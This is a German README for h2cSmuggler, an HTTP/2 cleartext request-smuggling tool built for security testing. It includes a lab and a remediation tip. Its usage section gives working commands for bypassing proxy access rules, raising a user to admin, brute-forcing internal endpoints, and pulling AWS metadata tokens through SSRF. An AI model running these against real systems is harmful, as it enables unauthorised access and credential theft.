
HTTP-Anfragenschmuggel über HTTP/2-Klartext (h2c)
h2cSmuggler schmuggelt HTTP-Datenverkehr an unsicheren Edge-Server-proxy_pass-Konfigurationen vorbei, indem es HTTP/2-Klartext-(h2c)-Kommunikation mit h2c-kompatiblen Backend-Servern aufbaut, was eine Umgehung von Proxy-Regeln und Zugriffskontrollen ermöglicht.
Siehe meinen detaillierten Artikel unten für:
Hier: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c
Jeder Proxy-Endpunkt, der h2c-Upgrade-Header weiterleitet, kann betroffen sein. Da h2c nur auf Klartext-Kanälen durchgeführt werden soll, liefert die Erkennung auf HTTPS-Diensten oft echte Positivmeldungen.
Im Gegensatz dazu können HTTP-Dienste zu Fehlalarmen führen. Beispielsweise können h2c-fähige Proxys auf das Upgrade antworten, anstatt es an ein h2c-Backend weiterzuleiten.
Verwenden Sie die Option --scan-list, um einen oder mehrere Webserver zu testen und nach betroffenen proxy_pass-Endpunkten zu suchen. Erwägen Sie die Verwendung einer Liste von Verzeichnissen, die durch Verzeichnisaufzählung gefunden wurden, wie zum Beispiel:
urls.txt
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...
Führen Sie h2cSmuggler mit der Liste der Endpunkte und einer Gesamtzahl von Threads aus:
./h2csmuggler.py --scan-list urls.txt --threads 5
Oder ein einzelner Test kann durchgeführt werden mit:
./h2csmuggler.py -x https://www.example.com/api/ --test
Sobald Sie einen betroffenen Endpunkt identifiziert haben, der zum Tunneln verwendet werden kann, können Sie jetzt auf interne Endpunkte auf dem Backend-Server zugreifen oder sie per Brute-Force angreifen und benutzerdefinierte Verben oder Header bereitstellen. In der Demo unten demonstrieren wir den Zugriff auf einen internen /flag-Endpunkt, indem wir h2c-Smuggling verwenden, um Proxy-Verweigerungsregeln zu umgehen.
Zur Behebung leiten Sie keine vom Benutzer bereitgestellten Werte für Upgrade- oder Connection-Header weiter. Siehe den technischen Beitrag für weitere Anleitungen.
Die einzige Abhängigkeit ist die Python hyper-h2-Bibliothek:
pip3 install h2
Die Testumgebung ermöglicht es Ihnen, mit h2cSmuggler in einer kontrollierten Umgebung zu experimentieren. docker-compose simuliert drei Proxy-Ketten, die zu einem h2c-fähigen Golang-Backend führen:
TCP port: Description
======== ===========
8000: HTTP h2c-Backend
8001: HAProxy -> h2c-Backend (Standardmäßig unsichere Konfiguration)
8002: nginx -> h2c-Backend (Benutzerdefinierte unsichere Konfiguration)
8003: Nuster -> HAProxy -> h2c-Backend (Unsichere Konfiguration mit mehreren Proxy-Ebenen)
[1] Zertifikate generieren und die Umgebung mit docker-compose starten:
# Generate certs
./configs/generate-certificates.sh
# Activate services
docker-compose up
Alle Proxys verweigern den Zugriff auf den /flag-Endpunkt, der auf dem h2c-Backend zugänglich ist. Versuchen wir, auf den verbotenen Endpunkt über den HAProxy-Server auf Port 8001 zuzugreifen:
Wir können h2cSmuggler verwenden, um die unsichere Konfiguration des Proxys mit --test (oder -t) zu bestätigen:
Jetzt verwenden wir h2cSmuggler, um ein h2c-Upgrade durchzuführen, unseren HTTP/2-Datenverkehr durch den Proxy zu tunneln und den /flag-Endpunkt vom Backend anzufordern, wobei wir die Zugriffskontrolle des Proxys umgehen:
Eine tiefere Erklärung, was passiert, finden Sie im technischen Artikel.
h2cSmuggler verwendet eine vertraute curl-ähnliche Syntax zur Beschreibung der geschmuggelten Anfrage:
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
[url]
Detect and exploit insecure forwarding of h2c upgrades.
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
--scan-list SCAN_LIST
list of URLs for scanning
--threads THREADS # of threads (for use with --scan-list)
--upgrade-only drop HTTP2-Settings from outgoing Connection header
-x PROXY, --proxy PROXY
proxy server to try to bypass
-i WORDLIST, --wordlist WORDLIST
list of paths to bruteforce
-X REQUEST, --request REQUEST
smuggled verb
-d DATA, --data DATA smuggled data
-H HEADER, --header HEADER
smuggled headers
-m MAX_TIME, --max-time MAX_TIME
socket timeout in seconds (type: float; default 10)
-t, --test test a single proxy server
-v, --verbose
1. Scannen einer Liste von URLs (z. B. https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/) zur Identifizierung von proxy_pass-Endpunkten, die für Schmuggel anfällig sind (seien Sie vorsichtig mit der Thread-Anzahl beim Testen eines einzelnen Servers):
./h2csmuggler.py --scan-list urls.txt --threads 5
Oder, um die Ausgabe in eine Datei umzuleiten. Verwenden Sie stderr (2>) und stdout (1>). Der stderr-Stream enthält Fehler (z. B. SSL-Handshake/Timeouts), während stdout die Ergebnisse enthält.
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
2. Senden einer geschmuggelten POST-Anfrage an https://edgeserver vorbei zu einem internen Endpunkt:
./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
3. Brute-Force-Angriff auf interne Endpunkte (unter Verwendung von HTTP/2-Multiplexing), wobei dirs.txt eine Liste von Pfaden darstellt (z. B. /api/, /admin/).
/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
4. Ausnutzen von Host-Header-SSRF über h2c-Smuggling (z. B. AWS-Metadaten IMDSv2):
Abrufen des Tokens:
./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
Übermitteln des Tokens:
./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
5. Spoofing einer IP-Adresse mit dem X-Forwarded-For-Header, um auf ein internes Dashboard zuzugreifen:
./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
F: Warum gibt es mehrere Antworten vom Server?
A: Die erste Antwort ist die Datenantwort auf die ursprüngliche Upgrade-Anfrage, die in HTTP/1.1 initiiert wurde, gemäß dem h2c-Upgrade-Protokoll. Die folgenden Antworten stammen von der geschmuggelten Anfrage.
F: Ich habe einen "101 Switching Protocols"-Status erhalten, aber ich bekomme keine Daten vom entfernten Server.
A: Dieses Verhalten habe ich in meinen Tests beobachtet und festgestellt, dass einige Server mit einem 101-Status antworten, auch wenn sie HTTP/2 nicht tatsächlich unterstützen.
F: Ist das Herstellen eines h2c-Tunnels immer eine Schwachstelle?
A: Nein. Betrachten Sie einen TLS-terminierenden TCP-Lastverteiler (z. B. ELB), der direkt an ein h2c-kompatibles Backend proxyt. Obwohl Sie möglicherweise eine h2c-Verbindung herstellen können, gibt es keine Zugriffskontrollen, die durchgesetzt werden, dann gibt es auch keine zu umgehenden Zugriffskontrollen oder Privilegien, die durch das Initiieren dieses Tunnels erlangt werden.
F: Warum benötigt die geschmuggelte Anfrage-URI ein Schema? Wofür wird es verwendet?
A: Das HTTP/2-Protokoll erfordert einen :scheme-Pseudo-Header. Für unseren Anwendungsfall spielt http vs. https wahrscheinlich keine Rolle. Weitere Details finden Sie unter HTTP/2 RFC: Abschnitt 8.1.2.3.
F: Welchen Hostnamen sollte ich für den Backend-Server verwenden?
A: Am besten beginnen Sie mit demselben Hostnamen wie der Edge-Server. Versuchen Sie als nächstes, alternative Hostnamenwerte zu testen.
Twitter: @theBumbleSec
GitHub: the-bumble